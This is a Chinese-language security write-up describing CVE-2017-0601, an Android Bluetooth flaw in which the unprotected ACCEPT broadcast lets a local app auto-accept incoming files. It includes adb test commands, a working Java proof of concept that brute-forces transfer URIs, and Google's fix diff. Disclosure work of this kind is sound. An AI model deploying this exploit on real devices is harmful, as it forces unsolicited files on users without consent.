原文地址:先知安全技术社区

作者:heeeeen@MS509Team

0x01 概要

2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 App 绕过用户交互,使用户强制接收外部传入的蓝牙文件。漏洞概要如下:

  • CVE: CVE-2017-0601
  • BugID: A-35258579
  • 严重性: 中
  • 影响的 Google 设备: All
  • Updated AOSP versions: 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

蓝牙App暴露了一个广播接收器 com.android.bluetooth.opp.BluetoothOppReceiver ,本地普通 App 可以向这个 Receiver 发送广播,查看其 OnReceive 方法,包含了对多种传入广播 Intent Action 的处理,但是大多数 Intent Action 处于保护状态,简单用 adb shell 可以一一对其测试,比如

adb shell am broadcast -a  android.btopp.intent.action.OPEN  

提示如下错误,说明action处于保护状态

Broadcasting: Intent { act=android.btopp.intent.action.OPEN }  
java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000  
     at android.os.Parcel.readException(Parcel.java:1683)
     at android.os.Parcel.readException(Parcel.java:1636)
     at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507)
     at com.android.commands.am.Am.sendBroadcast(Am.java:772)
     at com.android.commands.am.Am.onRun(Am.java:404)
     at com.android.internal.os.BaseCommand.run(BaseCommand.java:51)
     at com.android.commands.am.Am.main(Am.java:121)
     at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
     at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)

但是 android.btopp.intent.action.ACCEPT 这个 Intent Action ,却没有保护

adb shell am broadcast -a  android.btopp.intent.action.ACCEPT

Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }Broadcast completed: result=0  

进一步分析 AOSP 代码,发现传入这个 Action 的 Intent 时,会将 Intent 携带 Uri 指向的 db 进行更新,更新为用户确认状态。

else if (action.equals(Constants.ACTION_ACCEPT)) {  
        if (V) Log.v(TAG, "Receiver ACTION_ACCEPT"); 
            Uri uri = intent.getData(); 
        ContentValues values = new ContentValues(); 
        values.put(BluetoothShare.USER_CONFIRMATION,BluetoothShare.USER_CONFIRMATION_CONFIRMED); 
        context.getContentResolver().update(uri, values, null, null); 
        cancelNotification(context, uri);

这个 db 其实就是蓝牙文件共享的 provider ,对应的 uri 为 content://con.android.bluetooth.opp/btopp ,当通过蓝牙共享接收、发送文件时,该数据库都会增加新的条目,记录接收、发送的状态。该 provider 记录的信息可以参考 BluetoothShare

/**

* Exposes constants used to interact with the Bluetooth Share manager's content
* provider.
* @hide
*/

public final class BluetoothShare implements BaseColumns {  
    private BluetoothShare() {
    }

    /**
     * The permission to access the Bluetooth Share Manager
     */
    public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE";

    /**
     * The content:// URI for the data table in the provider
     */
    public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");

因此,如果我们在 Intent 中传入某个蓝牙共享对应文件的 uri ,那么它在蓝牙文件共享 Provider 中的状态就会被更改为用户确认状态。这里继续进行猜想,进一步,如果我们刚好通过蓝牙传入某个文件,将其状态改为用户确认,是否文件就无需确认,自动接收了呢?幸运的是,的确如此。

0x03 漏洞利用

这里还有一个问题要解决,content://com.android.bluetooth.opp/btopp 只是整个 provider 的 uri ,我们如何知道刚刚通过蓝牙传入文件的 uri 呢?通过暴力穷举,下面的 PoC 简单地解决了这个问题,

public class MainActivity extends AppCompatActivity {  
    Button m_btnAccept = null;

    public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
    public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        m_btnAccept = (Button)findViewById(R.id.accept);
        m_btnAccept.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppReceiver"));
                intent.setAction(ACTION_ACCEPT);
                // Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
                // Then Send broadcast to change the incoming file status
                for (int i = 0 ; i < 255; i++) {
                    String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
                    intent.setData(Uri.parse(uriString));
                    sendBroadcast(intent);
                }
            }
        });
    }
}

0x04 测试方法

通过蓝牙向测试手机发送文件,此时,手机将会出现提示,要用户拒绝或者接受,这个对话框将会出现约1分钟

此时运行 POC ,文件将会自动接收,因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行,那么手机将会被强制接收任意蓝牙传入的文件。

0x05 修复

Google 在 Framework 的 AndroidManifest 文件中,将 android.btopp.intent.action.ACCEPT 和 DECLINE 设为保护状态,普通 App 无法发出携带这些 action 的 Intent 。

diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml  
index ec712bb..011884c 100644  
--- a/core/res/AndroidManifest.xml
+++ b/core/res/AndroidManifest.xml

@@ -199,6 +199,8 @@
        <protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />  
        <protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />    
        <protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
    +    <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" /> 
    +    <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />    
        <protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />    
        <protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout" 
        <protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />

0x06时间线

  • 2017.02.09——提交Google
  • 2017.03.01——漏洞确认
  • 2017.05.01——补丁发布
  • 2017.05.04——漏洞公开